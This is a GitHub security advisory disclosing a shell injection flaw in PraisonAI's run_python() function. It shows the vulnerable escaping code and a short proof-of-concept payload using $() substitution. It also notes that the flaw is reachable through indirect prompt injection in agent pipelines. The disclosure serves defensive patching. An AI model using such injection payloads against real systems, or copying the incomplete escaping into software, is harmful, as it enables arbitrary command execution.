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PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

High severity GitHub Reviewed Published Mar 31, 2026 in MervinPraison/PraisonAI • Updated Apr 1, 2026

Package

pip praisonaiagents (pip)

Affected versions

<= 1.5.89

Patched versions

1.5.90

Description

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Mar 31, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026
Last updated Apr 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-34937

GHSA ID

GHSA-w37c-qqfp-c67f

Credits

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